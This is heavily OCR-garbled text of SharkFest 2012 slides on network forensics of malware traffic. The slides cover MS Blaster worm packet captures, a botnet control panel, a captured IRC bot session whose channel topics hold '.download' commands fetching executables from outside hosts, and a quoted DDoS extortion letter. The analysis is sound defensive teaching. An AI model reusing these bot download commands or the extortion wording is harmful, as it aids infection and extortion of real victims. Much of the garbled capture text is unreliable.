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*  Phillip D. Shade is the founder of Merlion’s Keep Consulting, a
professional services company specializing in Network and Forensics
Analysis

* Internationally recognized Network Security and Forensics expert, with
over 30 years of experience

»  Member of FBI InfraGard, Computer Security Institute, the IEEE and
Volunteer at the Cyber Warfare Forum Initiative

»  Numerous certifications including CNX-Ethernet (Certified Network
Expert), Cisco CCNA, CWNA (Certified Wireless Network
Administrator), WildPackets PasTech and WNAX (WildPackets Certified
Network Forensics Analysis Expert)

»  Certified instructor for a number of advanced Network Training
academies including Wireshark University, Global Knowledge, Sniffer
University, and Planet-3 Wireless Academy.
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Not What You Want to See on Your Screen...

txdirAsw
Uolume in drive C has no label.
Uolume Serial Mumber is F43E-2558

Directory of G

UTOEAEC.BAT CONFIG.8YS
[Documents and Settings] [Games]
[Phill Stuff] [Phill Trace Filesl
[Phill York Stuff] [Program Files]
[Temp]l [HINDOWS 1
3 Filecs> 17.87 bytes
12 Dirdisd .121.583.232 hytes free

[DELL1]

[My Shared Folder]
[Phill Tunesl
[Etudent Downloads]
¥herver.txt

‘I just wanted to zay LOUE ¥OU SAM!? hilly gatesz why do you make this possihbl

? Stop making money and fix yvour software??_

SHARKFEST 12




The Original — The MS Blaster Worm...

Exploits Microsoft Windows RPC Vulnerability
— Microsoft RPC vulnerability using TCP Port 135

* Infected machines will attempt to propagate the worm to additional machines
— Infected machines will also attempt to launch a Distributed Denial of Service (DDoS)
attack against Microsoft on the following schedule:
* Any day in the months
— September - December
« 16th to the 31st day of the following months:
— January - August

Hey, kids. Make way for BLASTER!



Packet Capture File

tF'rl:lTEEI:I' ILl:nulh JII'Lfn
. 000000 TCP 62 1857 > 4444 [5¥YN] Seq=1521629589
000269 TCP 62 4444 > 1857 [S¥YN, ACK] Seq=22059]
.082813 TCP 60 1857 > 444# [ACK] Seq=1521629590

| -src P - Dest | Time
1141.157.228.12 10.1.1.31
210.1.1.31 141.157.228.12

3 141 l:? ETE 12 10:1:3 .31,

141'13? 525,12

5 1u1 1.31 349041

12 10'1'1 31

7141 157 228

B1ﬁckf-1

0:1: 135 0.616459 ' 58 Data pat.:et :

9141.157.

228.12 0
1010.1.1.31 141.157.228.12 0.617845 TFTP Acknowledgement, Block: 1
11141 157 .278.12 0131 0.752105 TCP 1857 > 4444 [ACK] Seq=1521629629
12 12.243.154.137 103 .31 0.848049 1818 > 135 [S¥YN] 5eq=2903204790
1310.1.1.31 .243.154.137 0.848224 135 = 1818 [RST, ACK] Seg=0 Ack=:
14 12.243.154.137 7 B B 1.380230 1818 > 135 [sS¥YN] 5eq=2903204790
1510.1.1.31 2.243.154.137 1.380397 135 > 1818 [RsT, ACK] Seqg=0 Ack=.
16 141.157.228.12 j {6 = o B 1 1.519664 Data Packet, Block: 2
17 10.1.1.31 141.157.228.12 1.523540 TFTP 60 Acknowledgement, Block: 2
1812.243.154.137 F 10 B e S 1.822370 TCP b2 1818 = 135 [5¥N] Seq=2903204/90 ?

. - : 1.

201141 15? 228.12 10. 1 3R 5 2.425865 TFTP 558 pata Packet, Block: 3
21 101331 141.157.228.12 2.430854 TFTP 60 Acknowledgement, Block: 3
22'141.157.228.12 46 o e e n 3.332098 TFTP 558 Data Packet, Block: 4

What's hiding inside these seemingly harmless packets?
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» . l'
D ) ' ' . g '
IP - Src 1P - Dest Time Protocol  [length  |Info

610.1.1.31 141.157.228.12 0.502697 TFTP 62 Read Request, File: msblast.e
9 141.157.228.12 10.1.1.31 0.616459 TFTP 558 Data Packet, Block: 1
1010.1.1.31 141.157.228.12 0.617895 TFTP 60 Acknowledgement, Block: 1
16 141.157.228.12 10.1.1.31 1.519664 TFTP | 558 Dpata Packet, Block: 2
17 10.3:1.31 141.157.228.12 1.523540 TFTP 60 Acknowledgement, Block: 2
20 141.157.228.12 10.1.1.31 2.425865 TETP 558 Data Packet, Block: 3

21 Ik 131 141.157.2728.12 2.430854 TFTP 60 Acknowledgement, Block: 3
22 141.157.228.12 10.1.1.31 3.332098 TFTP 558 Data Packet, Block: 4

23 10.1.1.31 141.157.228.12 3.332752 TFTP 60 Acknowledgement, Block: 4
24 141.157.228.12 10.1.1.31 4.238330 TETP 558 Dpata Packet, Block: 5
2510331 141.157.228.12 4.244026 TFTP 60 Acknowledgement, Block: 3
26 141.157.228.12 10.1.1.31 5.145458 TFTP 558 Data Packet, Block: ©

27 10.1.1.31 141.157.228.12 5.1526092 TFTP 60 Acknowledgement, Block: ©
28 141.157.228.12 10.1.1.31 6.050621 TFTP | 558 Dpata Packet, Block: 7
2910.1.1.31 141.157.228.12 6.053781 TETP 60 Acknowledgement, Block: 7
30 141.157.228.12 10.1.1.31 6.956802 TETP 558 Data Packet, Block: 8
31-10.1.1.31 141.157.228.12 6.961467 TFTP 60 Acknowledgement, Block: 8
32 141.157.228.12 10.1.1.31 /.864008 TFTP 558 Data Packet, Block: 9

33 10.1.1.31 141.157.228.12 7.866905 TFTP 60 Acknowledgement, Block: 9
34 141.157.228.12 10.1.1.31 8.770122 TFTP 558 Data Packet, Block: 10

35 10. l 1 31 141 15? 228.12 8 ""3080 TETP ﬁﬂ ﬂcknaw1edgement E1ﬂ[k: 10
36 14 F 298 i1 117 0 RFRINT ETI B Data DPacket Bloclk

oh %E Server infects the workstation with MSBlaster-Worm via TFTP Download ]
3910.1.1.31 141.157.228.12 10.584571 TFTP 60 Acknowledgement, Block: 12
40 141.157.228.12 10.1.1.31 11.459194 TFTP 78 Data Packet, Block: 13 (last)
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MSBlaster Worm — Visual Reconstruction
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Infected Workstation Now Attacks Others

{ P -5c IP - Dest Time |Protoedl [Length  [info
44 10.1.1.31 180.191.253.1 15.182403 TCP 62 1029 > 135]|[S¥YN]|5eq=2209767891
4510.1.1.31 180.191.253.2 15.182544 TCP 62 1030 > 135)[5YN] |5eq=2209826792
46 10.1.1.31 180.191.253.3 15.182664 TCP 62 1031 > 135|[sSv¥N]|5eq=2209875599
47 10.1.1.31 180.191.253.4 15.182779 TCP 62 1032 > 135][SYN] |S5eq=22099146064
48 10.1.1.31 180.191.253.5 15.182899 TCP 62 1033 > 135]|[S¥N]|5eq=2209955055
49 10.1.1.31 180.191.253.6 15.183015 TCP 62 1034 > 135]|[5¥N]|5eq=2210006969
5010.1.1.31 180.191.253.7 15.183136 TCP 62 1035 > 135]|[5¥N]|5eq=2210066265
51 10.1.1.31 180.191.253.8 13.183258 TCP 62 10306 > 135 [5¥N]|5eq=2210127960
5210.1.1.31 180.191.253.9 15.183382 TCP 62 1037 > 135]|[5¥N]|5eq=2210167019
5310.1.1.31 180.191.253.10 15.183490 TCP 62 1038 > 135|[5¥N]|5eq=2210207993
54 10.1.1.31 180.191.253.11 15.183609 TCP 62 1039 > 135|[5YN]|5eq=2210265390
55 10.1.1.31 180.191.253.12 15.183723 TCP 62 1040 > 135]|[S¥N]|Seq=2210311217
56 10.1.1.31 180.191.253.13 15.183841 TCP 62 1041 > 135]|[S¥N]|Seq=2210376132
57-10:1.1.31 180.191.253.14 15.183960 TCP 62 1042 > 135|[5¥N]|5eq=2210410320
58 10.1.1.31 180.191.253.15 15.184080 TCP 62 1043 > 135]|[S¥N]|Seq=2210468332
5910.1.1.31 180.191.253.16 15.184196 TCP 62 1044 = 135)|[5¥N]|5eq=2210526690
60 10.1.1.31 180.191.253.17 15.184311 TCP 62 1045 > 135|[5¥N] |5eq=2210388478
61 10.1.1.31 180.191.253.18 15.184427 TCP 62 1046 > 135]|[5¥YN]|5eq=2210623641
62 10.1.1.31 180.191.253.19 15.184564 TCP 62 1047 » 135][5¥YN]|5eq=221067 3362
063 10.1.1. 31 §0.191. 253 20 15.18468.2 TCP 62 1048 > 135]1[S¥YN]lSeq=2210/16189

| 10.1.1.31 Now scans for other nodes beginning in the 180.191.253. XXX range_]
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Blaster Worm Attack — What it Looks Like...
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MSBlaster Worms - A Postscript...

SEATTLE, Washington (AP) -- A teenager was sentenced Friday to 1 1/2 years in prison for
unleashing a variant of the "Blaster" Internet worm that crippled 48,000 computers.

Jeffrey Lee Parson, 19, of Hopkins, Minnesota, will serve his time at a low-security prison
and must perform 10 months of community service.

Parson created a Blaster version that launched a distributed denial-of-service attack against a

Microsoft Windows update Web site as well as personal computers. Blaster and its variants,
also known as the LovSan virus, crippled networks worldwide.

*CNN News 28Jan05
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Insider Threat - Bots...

W Stats boteet o8 Lt bots

= Refresh Oeer t5ts g | Cow Search bot (mimb: i b, courdry) >

D« Ve Courtry [ 3 Qitus Tt Ine Lt Lo

Stats Sors

O Ml bots: £ 1 ¢ B ' XON-G300 723 20000108 0830 X
y ONLINe o 2 L [ free 2200501.00 0083 10 2003.01.08 DX 3720
;RN 0 3 ¢ B Thadand r 00501-0904:3312  200301.03 023720
& Free: » . ¢ Elkyrgyzaan WS-8 050 X0o10em 20
‘ &= Worla b % 4 R Mussian Foderador " 050108 D5 1040 0000108 (0
Coumitry: 1

gt an 8 & 2 Georgn 20085112 08

AP, ‘ .
9 Faek B Create new Lask
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googe v oson ot
B Add Task Loods Refeyes Statis
Nare POST Stat
Rudos ‘
i ] iy oo End
A0 T BEA pal_| (5] corcn
Fie #|
Ume mad an one bot! = Paget efi : o L s 1 < 6 o
Kers Tor abiect (soit PN
B ' A Y For SIAM Task 1
*pxcn) = F A Yarnphata For & B Update tud
Serciers Lt t ) | & ]
- — rerns tarples i
Seeveys Lot || Versors 4
Templito qwel - 0 1of o e A2
Status AChve - 40 urat iy : x2o m1s
- < [ 2 Wodate |
| Al ] - Lo e st ]I o Caxel |
Dothsin g

S

OHARRKFE



Bot Infested Capture File

73
74
75
76
77
78

82
83
84
85
86
87
88
89
90

172.16.1.10

68.164
172.16
68.164
172.16
172.16
68.164
172.16

172.16
172.16
68.164
172.16
68.164
172.16

68.164
68.164
172.16
6E.164

Threat Level: [ ] [ | | |
Calegory : WORM

68.164.173.62 73.023928 TCP

Summary : Worm.Analz.Process

Description : Identified by Sophos as the Bbot-APF worm, the Analiz threat

exploits backdoor functionality and can spread through
unprotected or unauthorized remote penstration, Thas thraat
may also be identifiad as W32/H1-6963.

Morm.Analiz should not be confused with Dialer Anal-Liz, which
15 an unrelated premium rate daler appbcation.

Worms are programs that propagate by spreading over a
network., A& worm |s a special type of computer virus

This appbcation 15 most
vulnerabilibes in system secunty or by ancther application that
i5 consdered to be adware or spyware,

likely downloaded anad installed through

Company : Lin<nown

[

N, | - sre |1P - pest | Time |peotocal  |Lemgm  |info
bl DBE.Ib4.1/73.62 172.16.1.10 by, FO80Y7 TCP b0 4731 > 155 [ACK] Seq=>33713900/ 4
62 ©68.164.173.62 172.16.1.10 70.476275 TCP 60 1216 > 135 [ACK] S5eq=5358177394 )
63 68.164.173.62 172.16.1.10 70.496296 DCERPC 126 Bind: call_id: 127 Fragment: Sij
b4 172.16.1.10 68.164.173.62 70.496445  DCERPC 114 Bind_ack: call_id: 127 Fragment
65 172.16.1.10 b8.164.173.62 72.876008 TCP 54 135 > 4800 [FIN, ACK] Seq=34504!
6b 6B.164.173.62 1/2.16.1.10 72.974040 TCP 1486 [TCP segment of a reassembled Pl
67 68.164.173.62 172.16.1.10 72.975773 :emActir 86 RemoteCreateInstance reguest[Lod
68 172.16.1.10 68.164.173.62 T2.975807 TCP 54 135 = 1216 [ACK] Seq=3486354286

54

S Datd Pacet; BTet: i — — —

135 = 1216 i, ACK] Seq=34863]

Acknowledgement, Block: 1
DPata Packet, Block: 1
Acknowledgement, Block: 1
Acknowledgement, Block: 1
Data Packet, Block: 2
Acknowledgement, Block:

135 > 1216 [FIN, ACK] Seq=34863]
Acknowledgement, Block: 2

Data Packet, Block: 2
Acknowledgement, Block: 2

Data Packet, Block: 3
Acknowledgement, Block: 3

1216 > 135 [ACK] 5eq=558178930 4
1216 = 135 [FIN, ACK] Seqg=358171
135 > 1216 [ACK] Seq=3486354287
Data Packet, Block: 3
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Download Reconstruction

Folkow TCF Slmmam

. dann-0262937047
LISER mfeivefom 0 0 -dampn-0262937047

Backdoor Client (Bot) IRC Login to Bot-Server

shuntid.devilz.net NOTICE AUTH :"*% | poking up your hostname. .

shunt3d.devilz.net NOTICE AUTH :*** Found wyour hosthame

thuntid:devilz.net 001 damn=-0262937047 welcome to the devilz IRC Network damn-02625937047 |
ohmfeirsfrllh-68-164-92-148. snvacaid. dynamic. covad. net

shuntid.devilz.net 002 damn-026293704) :vyour host iz buntid.devilz.net, runming version
Linreald.

thuntid.devilz.net 003 dam-02620937047 :This server was created Thu Ssp 9 2004 at

14 :56:49 COT

shuntdd, devilz.net 0 damn-0262937047 hun yiler net Unresll 2

iowghradsORTVSxNCgBzyvddEGp Tvhopsmntikric

MHICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTAR

“hunt3d.devile net 005 dann-0262937047 marl Bot-Server downloading updates to infected Bot

= aryer

thuntid. devilz.pet 005 damn-0262937047 WALLCHOPS WATCH=128 SILENCE=15 MODES=12

CHANTYPES=# PREFIN={ohv}®%: CHANMODES=beqga,kfl,],psmnti rRCDAGEMGCUZNSMT NETWORK=devilz

CASEMAPPING=85CT1 EXTBAN=-,COr :are supported by this server

thunt3d.devilz.net 251 damn-0262937047 :There are 1 users and 5122 invisible on 1 servers

thunt3d.devilz.net 252 damn-0262937047 2 :operatori{s) anline

thunt3d. devilz.net 253 damn-0262937047 14 :unknown comnection(s)

shunt3d. devilz.net 254 damn-0262937047 19 :channels formed

shunt3d.devilz.onet 255 damn-0262937047 :1I have 5123 clients. and 0 servers

shunt3d. devilzonet 265 damn-0262937047 :Current Local Users: 5123 mMax: 9508

shunt3d: devilz.net 2606 damn-0262937047 :Current Glokal Users: 5123 Max: 5123

thuntid.deviliz.net 422 dam-062937047 :MOTD File 15 missing

sdamn-0264937 047 MODE damn-0J762937 047 149

: damn-0262937 047 | ghmfei rsfnd@h-68-104-92-148. snvacaid, dynamic. covad.net- JOIN :#s0]

étun13d.divi1£.nt{ 332 damn-0262937047 #5001 :.downlodad htep: /S www, wanees . net /bbnz . exe
Mz, BXe

shuntid.devilz.net 333 damn-0262937047 #=01 A 7uf 1103771901

shuntid: devilz.net 353 damn-0262937047 @ £=01 :damn-0262937047

thunt3d.devilz.net 366 damn-0262937047 #s01 :End of /MNAMES Tast.

damn-0262037047 | ghmfeirstndh-68-164-92-148  snvacaid. dynamic.covad. net J0IN :#s02

thuntid. devilz.net 330 damn-0262937047 #5072 : . download http://

pebacceptor. findwhatevernow. com: B021 /get. File?

actiuuwf11E&afn—liﬂﬂj&{1assvﬁEE&affi1iate~gﬂLk:r jocker. axe 1

shunt3d., devilz.net 333 damn-0262937047 #s07 ALVuB 1103771882

shunt3d. devilzonet 353 damn-0262937047 @ #<02 :damn-0262937047

thunt3d. devilz.net 366 damn-0262937047 #5072 :End of /MAMES Tist.

:damn-0262937 047 lghmfeirsfri@h-68-164-92-148_ snvacaid.dynamic.covad.net J0IN :#s03

thuntid.devilz.net 332 damn-0262937047 #s03 ;. download http://vsbweb.com/ist/scripts/
sb_exe. phpfaccount _1d=10004 808user_level=31 ysbinstal 1_10004B9_3. exe 1

thuntid.devilz.net 3341 damn-0202937047 #5031 aL ulg 1103771894

shuntid.devilz. net 353 damn-0262937047 @ #=03 :damn-0262937047

ihunt3d. devilz.net 3606 damn-0262937047 #s03 (End of /HAMES 1ist.

Pod Pl P Pl

IR
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Sample DDoS Extortion Letter

"Hello. If you want to continue having your site operational, you must pay us 10 000 rubles '
monthly. Aitention! Starting as of DATE your site will be a subject to a DDoS attack. Your site will |
' remain unavailable until you pay us.

1 The first attack will involve 2,000 bots. If you contact the companies involved
| in the protection of DDoS-attacks and they begin to block our bots, we will increase the number of
bots to 50 000, and the protection of 50 000 bots is very, very expensive. !

1-st payment (10 000 rubles) Must be made no later than DATE. All subsequent payments (10 000
rubles) Must be committed no later than 31 (30) day of each month starting from August 31. Late
' payment penalties will be charged 100% for each day of delay.

1 For example, if you do not have time to make payment on the last day of the month, then I day of
1 you will have to pay a fine 100%, for instance 20 000 rubles. If you pay only the 2nd date of the

month, it will be for 30 000 rubles etc. Please pay on time, and then the initial 10 000 rubles offer |
will not change. Penalty fees apply to your first payment - no later than DATE" I

You will also receive several bonuses...

' 1. 30% discount if you request DDoS attack on your competitors/enemies. Fair market value

I DDoS attacks a simple site is about $ 100 per night, for you it will cost only 70 $ per day.

1 2. If we turn to your competitors / enemies, to make an attack on your site, then we deny them.

Payment must be done on our purse Yandex-money number 41001474323733. Every month the |
number will be a new purse, be careful. About how to use Yandex-money read on |
www.money.yandex.ru. If you want to apply to law enforcement agencies, we will not discourage |
you. We even give you their contacts: www.fsb.ru, www.mvd.ru"

Tuesday, November 03, 2009 ‘1 2
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